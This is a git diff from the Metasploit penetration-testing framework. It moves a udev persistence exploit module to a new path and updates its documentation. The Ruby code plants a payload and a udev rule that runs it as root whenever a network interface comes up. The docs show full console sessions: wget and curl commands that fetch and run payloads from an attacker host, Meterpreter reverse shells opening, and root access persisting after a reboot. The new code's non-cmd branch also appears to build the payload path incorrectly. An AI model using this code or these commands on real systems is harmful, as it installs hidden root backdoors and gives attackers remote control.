diff --git a/documentation/modules/exploit/linux/local/udev_persistence.md b/documentation/modules/exploit/linux/local/udev_persistence.md deleted file mode 100644 index 564a1a075a..0000000000 --- a/documentation/modules/exploit/linux/local/udev_persistence.md +++ /dev/null @@ -1,43 +0,0 @@ -This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev). -The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up. - -## Verification Steps - - 1. Start msfconsole - 2. Obtain a session on the target machine - 3. `use exploit/linux/local/udev_persistence` - 4. `set session -1` - 5. `exploit` - -## Module usage - -``` -msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence -[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf exploit(linux/local/udev_persistence) > set session -1 -session => -1 -msf exploit(linux/local/udev_persistence) > exploit - -[*] /usr/bin/udev-check-updates written -[*] /lib/udev/rules.d/99-update.rules written -msf exploit(linux/local/udev_persistence) > -[*] Sending stage (3045380 bytes) to 172.18.49.39 -[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400 -msf exploit(linux/local/udev_persistence) > sessions -i -1 -[*] Starting interaction with 2... - -meterpreter > getuid -Server username: root -meterpreter > -``` - -## Options - -### BACKDOOR_PATH - -Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules) - -### PAYLOAD_PATH - -Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates) - diff --git a/documentation/modules/exploit/linux/persistence/udev.md b/documentation/modules/exploit/linux/persistence/udev.md new file mode 100644 index 0000000000..e7f5f25871 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/udev.md @@ -0,0 +1,147 @@ +## Vulnerable Application + +This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev). +The persistence execution with be triggered with root privileges everytime a network interface other than `l0` comes up. +Execution is triggered through at command, so it must be installed on the target. + +## Verification Steps + +1. Start msfconsole +2. Obtain a root session on the target machine +3. `use exploit/linux/persistence/udev` +4. `set session -1` +5. `exploit` + +## Options + +### PAYLOAD_NAME + +Name of the payload file to write. Defaults to random. + +### UDEV_PATH + +Path to udev rules folder. Defaults to `/lib/udev/rules.d/` + +### UDEV_RULE + +Rule name for udev. Defaults to random + +## Scenarios + +## Module usage + +### Ubuntu 24.04 + +Initial shell + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 2.2.2.2:4446 +[*] Using URL: http://2.2.2.2:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Qjdo0XSK --no-check-certificate http://2.2.2.2:8082/l; chmod +x Qjdo0XSK; ./Qjdo0XSK& disown +msf exploit(multi/script/web_delivery) > +[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (2.2.2.2:4446 -> 1.1.1.1:43842) at 2025-12-20 16:24:02 -0500 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 1.1.1.1 +OS : Ubuntu 24.04 (Linux 6.8.0-31-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence install + +``` +msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/udev +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/persistence/udev) > set session 1 +session => 1 +msf exploit(linux/persistence/udev) > set WritableDir /opt/ +WritableDir => /opt/ +msf exploit(linux/persistence/udev) > exploit +[*] Command to run on remote host: curl -so ./eULGakHgwKeL http://2.2.2.2:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./eULGakHgwKeL;./eULGakHgwKeL& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Fetch handler listening on 2.2.2.2:8080 +[*] HTTP server started +[*] Adding resource /t70WmtC4mNeBieRpZqn09Q +[*] Started reverse TCP handler on 2.2.2.2:4444 +msf exploit(linux/persistence/udev) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. likely exploitable +[*] Writing '/opt//Z7CpOCzhzq' (271 bytes) ... +[+] /opt//Z7CpOCzhzq written +[+] /lib/udev/rules.d//41-EInB5urA.rules written +[*] Triggering udev rule +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/1.1.1.1_20251220.5601/1.1.1.1_20251220.5601.rc +[*] Client 1.1.1.1 requested /t70WmtC4mNeBieRpZqn09Q +[*] Sending payload to 1.1.1.1 (curl/8.5.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 1.1.1.1 +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:38100) at 2025-12-20 16:56:03 -0500 +``` + +Trigger a reboot to test the persistence + +``` +msf exploit(linux/persistence/udev) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > shell +Process 1394 created. +Channel 8 created. +reboot + +[*] 1.1.1.1 - Meterpreter session 1 closed. Reason: Died + + +Terminate channel 8? [y/N] y +[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact --timeout +msf exploit(linux/persistence/udev) > +[*] Client 1.1.1.1 requested /t70WmtC4mNeBieRpZqn09Q +[*] Sending payload to 1.1.1.1 (curl/8.5.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 1.1.1.1 +[*] Meterpreter session 3 opened (2.2.2.2:4444 -> 1.1.1.1:35550) at 2025-12-20 16:56:38 -0500 +[*] 1.1.1.1 - Meterpreter session 2 closed. Reason: Died + +msf exploit(linux/persistence/udev) > sessions -i 3 +[*] Starting interaction with 3... + +meterpreter > getuid +Server username: root +meterpreter > +``` diff --git a/modules/exploits/linux/local/udev_persistence.rb b/modules/exploits/linux/local/udev_persistence.rb deleted file mode 100644 index 8353d2cdfe..0000000000 --- a/modules/exploits/linux/local/udev_persistence.rb +++ /dev/null @@ -1,100 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - - Rank = GreatRanking - - include Msf::Post::File - include Msf::Post::Unix - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'udev persistence', - 'Description' => %q{ - This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk. - It'll be executed with root privileges everytime a network interface other than l0 comes up. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Julien Voisin' - ], - 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 90_000 }, - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '1999-01-01', - 'Passive' => true, - 'Stance' => Msf::Exploit::Stance::Passive, - 'Notes' => { - 'Stability' => [], - 'Reliability' => [EVENT_DEPENDENT], - 'SideEffects' => [ARTIFACTS_ON_DISK] - }, - 'References' => [ - ['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'], - ['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'], - ] - ) - ) - register_options([ - - OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']), - OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', '']) - ]) - end - - def get_command - unless executable? '/usr/bin/at' - fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target' - end - %(/usr/bin/at -M -f #{@payload_path} now) - end - - def exploit - @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH'] - - @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH'] - - unless writable? File.dirname(@backdoor_path) - fail_with Failure::BadConfig, "#{@backdoor_path} is not writable" - end - - if exists? @backdoor_path - fail_with Failure::BadConfig, "#{@backdoor_path} is already present" - end - - unless writable? File.dirname(@payload_path) - fail_with Failure::BadConfig, "#{@payload_path} is not writable" - end - - if exists? @payload_path - fail_with Failure::BadConfig, "#{@payload_path} is already present" - end - - upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}") - print_status "#{@payload_path} written" - - fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}")) - - print_status "#{@backdoor_path} written" - - # need to trigger first rule manually - print_status 'Triggering udev rule' - cmd_exec('udevadm trigger -v --subsystem-match=net') - - stime = Time.now.to_f - timeout = datastore['ListenerTimeout'].to_i - loop do - break if timeout > 0 && (stime + timeout < Time.now.to_f) - - Rex::ThreadSafe.sleep(1) - end - end -end diff --git a/modules/exploits/linux/persistence/udev.rb b/modules/exploits/linux/persistence/udev.rb new file mode 100644 index 0000000000..0c846321b8 --- /dev/null +++ b/modules/exploits/linux/persistence/udev.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + + Rank = GreatRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/udev_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'udev Persistence', + 'Description' => %q{ + This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk. + It'll be executed with root privileges everytime a network interface other than l0 comes up. + Execution is triggered through at command, so it must be installed on the target. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Julien Voisin' + ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'Payload' => { + 'BadChars' => '\n"' + }, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => '2003-11-01', # udev release date + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'References' => [ + ['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'], + ['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'], + ['ATT&CK', Mitre::Attack::Technique::T1546_017_UDEV_RULES] + ] + ) + ) + register_options([ + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + OptString.new('UDEV_PATH', [false, 'Path to udev', '/lib/udev/rules.d/']), + OptString.new('UDEV_RULE', [false, 'Rule name for udev. Defaults to random']), + ]) + end + + def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) + return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) + return CheckCode::Safe("#{datastore['UDEV_PATH']} doesnt exist") unless exists?(datastore['UDEV_PATH']) + return CheckCode::Safe("#{datastore['UDEV_PATH']} isnt writable") unless writable?(datastore['UDEV_PATH']) + + return CheckCode::Safe('at commmand not found') if get_at_command('').nil? + + CheckCode::Appears('likely exploitable') + end + + def get_at_command(payload_path) + return nil unless executable? '/usr/bin/at' + + %(/usr/bin/at -M -f #{payload_path} now) + end + + def install_persistence + udev_rule = datastore['UDEV_RULE'].blank? ? %(#{Rex::Text.rand_text_numeric(2)}-#{Rex::Text.rand_text_alphanumeric(8)}.rules) : datastore['UDEV_RULE'] + backdoor_path = "#{datastore['UDEV_PATH']}/#{udev_rule}" + payload_path = "#{writable_dir}/#{(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(5..10))}" + + if exists? backdoor_path + fail_with Failure::BadConfig, "#{backdoor_path} is already present" + end + + if payload.arch.first == 'cmd' + upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload.encoded}") + else + payload_path = writable_dir + payload_path = payload_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/" + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + payload_path << payload_name + print_status("Uploading payload file to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + end + @clean_up_rc << "rm #{payload_path}\n" + + print_good "#{payload_path} written" + + fail_with(Failure::PayloadFailed, 'Failed to write UDEV file') unless write_file(backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_at_command(payload_path)}")) + @clean_up_rc << "rm #{backdoor_path}\n" + + print_good "#{backdoor_path} written" + + # need to trigger first rule manually + print_status 'Triggering udev rule' + cmd_exec('udevadm trigger -v --subsystem-match=net') + end +end